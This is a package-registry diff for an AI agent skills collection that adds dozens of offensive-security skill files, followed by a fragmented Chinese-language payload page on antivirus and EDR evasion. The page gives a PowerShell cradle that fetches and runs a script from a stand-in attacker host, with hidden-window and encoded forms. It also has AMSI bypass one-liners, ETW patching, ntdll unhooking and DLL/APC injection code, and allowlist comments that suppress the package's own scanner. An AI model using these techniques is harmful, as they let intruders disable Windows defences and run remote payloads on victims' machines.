opencode-skills-collection 4.0.42 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +49 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/lore/SKILL.md +104 -298
- package/bundled-skills/lore/references/audit-template.md +21 -4
- package/bundled-skills/lore/references/compatibility.md +51 -121
- package/bundled-skills/lore/references/config.md +22 -23
- package/bundled-skills/lore/references/entry-format.md +33 -3
- package/bundled-skills/lore/references/history-command.md +98 -2
- package/bundled-skills/lore/references/platform-mirrors.md +45 -16
- package/bundled-skills/lore/references/stale-new-markers.md +10 -8
- package/bundled-skills/lore/references/summary-template.md +8 -1
- package/bundled-skills/lore/references/workflows.md +192 -0
- package/bundled-skills/lore/scripts/README.md +14 -13
- package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
- package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
- package/bundled-skills/lore/scripts/find_stale.py +68 -16
- package/bundled-skills/lore/scripts/history.py +235 -23
- package/bundled-skills/lore/scripts/id_hash.py +7 -4
- package/bundled-skills/lore/scripts/list_entries.py +82 -13
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
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- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
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- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
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- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/poka-yoke/SKILL.md +172 -0
- package/bundled-skills/project-state-governor/SKILL.md +1 -1
- package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
- package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
- package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1281 -3
- package/bundled-skills/lore/README.md +0 -386
- package/bundled-skills/lore/README.zh-CN.md +0 -386
- package/bundled-skills/lore/WORKFLOWS.md +0 -216
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
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# 免杀与规避
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_14 条 intranet payload_
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### PowerShell免杀 `evasion-powershell`
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_PowerShell脚本免杀技术_
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子类:**PowerShell** · tags: `powershell` `evasion` `obfuscation`
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**前置条件:**
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- 目标机器访问权限
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- Windows系统
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**攻击链:**
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**编码执行**
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> Base64编码执行
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_platform: windows_
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```
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powershell -enc BASE64_ENCODED_COMMAND
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```
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**语法解析:**
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- `-enc` — Base64编码命令 _parameter_
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**远程加载**
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> 远程加载脚本
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_platform: windows_
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```
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IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") # security-allowlist: SEC005
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```
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**混淆变量名**
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> 变量名混淆
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_platform: windows_
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```
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1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2" # security-allowlist: SEC004
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```
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**无文件执行**
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> 隐藏窗口无配置文件执行
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_platform: windows_
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```
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powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")" # security-allowlist: SEC005
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```
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**语法解析:**
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- `-w hidden` — 隐藏窗口 _parameter_
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- `-nop` — 无配置文件 _parameter_
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**EDR 绕过变体:**
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**降级执行**
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> 使用PowerShell v2绕过日志
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```
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powershell -version 2 -c "command"
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```
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**分析:** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。
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**OPSEC 提示:**
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- PowerShell日志可能记录命令
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- 考虑禁用日志
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- 使用混淆技术
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**概述:** PowerShell是Windows强大的脚本环境,攻击者可以使用各种技术绕过检测。
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**漏洞原理:** PowerShell的灵活性和强大功能使其成为攻击者的首选工具。
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**利用方法:** 利用流程:1) 获取目标机器访问权限;2) 使用免杀技术;3) 执行恶意脚本;4) 完成攻击。
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**防御措施:** 防御措施:1) 启用PowerShell日志;2) 使用约束语言模式;3) 监控异常PowerShell活动。
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---
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### AMSI绕过 `amsi-bypass`
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_绕过反恶意软件扫描接口_
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子类:**AMSI绕过** · tags: `amsi` `bypass` `evasion`
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**前置条件:**
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- PowerShell环境
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- AMSI启用
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**攻击链:**
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**反射绕过**
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> 通过反射禁用AMSI
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_platform: windows_
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```
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[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
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```
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**语法解析:**
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- `AmsiUtils` — AMSI工具类 _keyword_
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- `amsiInitFailed` — 初始化失败标志 _keyword_
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- `SetValue($true)` — 设置为失败 _value_
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**内存修补**
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> 混淆版本绕过
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_platform: windows_
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```
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$a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}}
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```
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**DLL劫持**
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> 通过DLL劫持绕过
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_platform: windows_
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```
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替换或劫持amsi.dll
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```
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**使用工具**
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> 使用现成工具
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_platform: windows_
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```
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Import-Module .\AmsiBypass.ps1
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Invoke-AmsiBypass
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```
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**概述:** AMSI是Windows的安全特性,可被多种方法绕过。
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**漏洞原理:** AMSI实现存在缺陷。
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**利用方法:** 利用流程:1) 检测AMSI 2) 选择绕过方法 3) 执行恶意代码
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**防御措施:** 防御措施:1) 更新AMSI 2) 监控内存修改 3) 多层防护
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---
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### ETW Patch绕过 `etw-patch`
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_禁用ETW监控_
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子类:**ETW** · tags: `etw` `bypass` `evasion`
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**前置条件:**
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- 代码执行权限
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**攻击链:**
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**PowerShell禁用ETW**
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> PowerShell禁用ETW
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_platform: windows_
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```
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[System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0)
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或
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[Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null
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$etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid())
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$etw.SetEnabled(0)
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```
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**C#禁用ETW**
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> C#禁用ETW
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_platform: windows_
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```
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Assembly.Load("System.Diagnostics.Tracing")
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Type etwType = typeof(EventProvider)
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MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static)
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setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 })
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```
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**修补ntdll**
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> 修补EtwEventWrite
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_platform: windows_
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```
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$ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll")
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$etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite")
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[Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect)
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[Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten)
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```
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**语法解析:**
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- `EtwEventWrite` — ETW写入函数 _keyword_
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- `0xC3` — RET指令 _keyword_
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**概述:** ETW是Windows的重要监控机制。
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**漏洞原理:** ETW可被用户模式程序禁用。
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**利用方法:** 利用流程:1) 加载ETW程序集 2) 调用禁用方法 3) 或修补函数
|
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**防御措施:** 防御措施:1) 使用内核级监控 2) 监控ETW禁用 3) 使用EDR
|
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---
|
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### API Unhooking `api-unhooking`
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_移除EDR的API Hook_
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子类:**Unhooking** · tags: `unhooking` `hook` `evasion`
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**前置条件:**
|
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- 代码执行权限
|
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**攻击链:**
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191
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**从磁盘还原**
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> 从磁盘读取干净DLL
|
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_platform: windows_
|
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```
|
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$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
|
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$proc = [System.Diagnostics.Process]::GetCurrentProcess()
|
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$base = $proc.MainModule.BaseAddress
|
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# 找到.text段并覆盖
|
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```
|
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200
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|
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201
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**从KnownDlls还原**
|
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> 从KnownDlls还原
|
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_platform: windows_
|
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204
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```
|
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$section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll")
|
|
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$map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0)
|
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# 复制干净的代码段
|
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```
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|
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210
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**Hell's Gate**
|
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211
|
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> Hell's Gate技术
|
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212
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_platform: windows_
|
|
213
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+
```
|
|
214
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通过系统调用号直接调用:
|
|
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1. 解析NTDLL获取系统调用号
|
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216
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2. 直接执行syscall
|
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3. 绕过用户模式Hook
|
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218
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```
|
|
219
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|
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220
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|
|
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**概述:** EDR通过Hook API监控程序行为。
|
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223
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**漏洞原理:** 用户模式Hook可被移除。
|
|
224
|
+
|
|
225
|
+
**利用方法:** 利用流程:1) 读取干净DLL 2) 覆盖Hook代码 3) 恢复原始API
|
|
226
|
+
|
|
227
|
+
**防御措施:** 防御措施:1) 内核级监控 2) 检测Unhooking 3) 多层防护
|
|
228
|
+
|
|
229
|
+
---
|
|
230
|
+
|
|
231
|
+
### 进程注入 `process-injection`
|
|
232
|
+
_将代码注入到其他进程_
|
|
233
|
+
子类:**进程注入** · tags: `injection` `process` `evasion`
|
|
234
|
+
|
|
235
|
+
**前置条件:**
|
|
236
|
+
- 代码执行权限
|
|
237
|
+
|
|
238
|
+
**攻击链:**
|
|
239
|
+
|
|
240
|
+
**经典DLL注入**
|
|
241
|
+
> DLL注入
|
|
242
|
+
_platform: windows_
|
|
243
|
+
```
|
|
244
|
+
$proc = Get-Process -Name notepad
|
|
245
|
+
$handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id)
|
|
246
|
+
$addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40)
|
|
247
|
+
[Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0)
|
|
248
|
+
[Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0)
|
|
249
|
+
```
|
|
250
|
+
**语法解析:**
|
|
251
|
+
- `VirtualAllocEx` — 在目标进程分配内存 _keyword_
|
|
252
|
+
- `WriteProcessMemory` — 写入DLL路径 _keyword_
|
|
253
|
+
- `CreateRemoteThread` — 创建远程线程 _keyword_
|
|
254
|
+
|
|
255
|
+
**Process Hollowing**
|
|
256
|
+
> 进程镂空
|
|
257
|
+
_platform: windows_
|
|
258
|
+
```
|
|
259
|
+
1. CreateProcess(CREATE_SUSPENDED)
|
|
260
|
+
2. NtUnmapViewOfSection
|
|
261
|
+
3. VirtualAllocEx
|
|
262
|
+
4. WriteProcessMemory
|
|
263
|
+
5. ResumeThread
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
**APC注入**
|
|
267
|
+
> APC队列注入
|
|
268
|
+
_platform: windows_
|
|
269
|
+
```
|
|
270
|
+
$threadId = $proc.Threads[0].Id
|
|
271
|
+
$queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC")
|
|
272
|
+
[Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr)
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
|
|
276
|
+
**概述:** 进程注入将代码注入合法进程执行。
|
|
277
|
+
|
|
278
|
+
**漏洞原理:** Windows进程API可被滥用。
|
|
279
|
+
|
|
280
|
+
**利用方法:** 利用流程:1) 打开目标进程 2) 分配内存 3) 写入代码 4) 执行
|
|
281
|
+
|
|
282
|
+
**防御措施:** 防御措施:1) 使用EDR 2) 监控进程注入 3) 启用保护机制
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
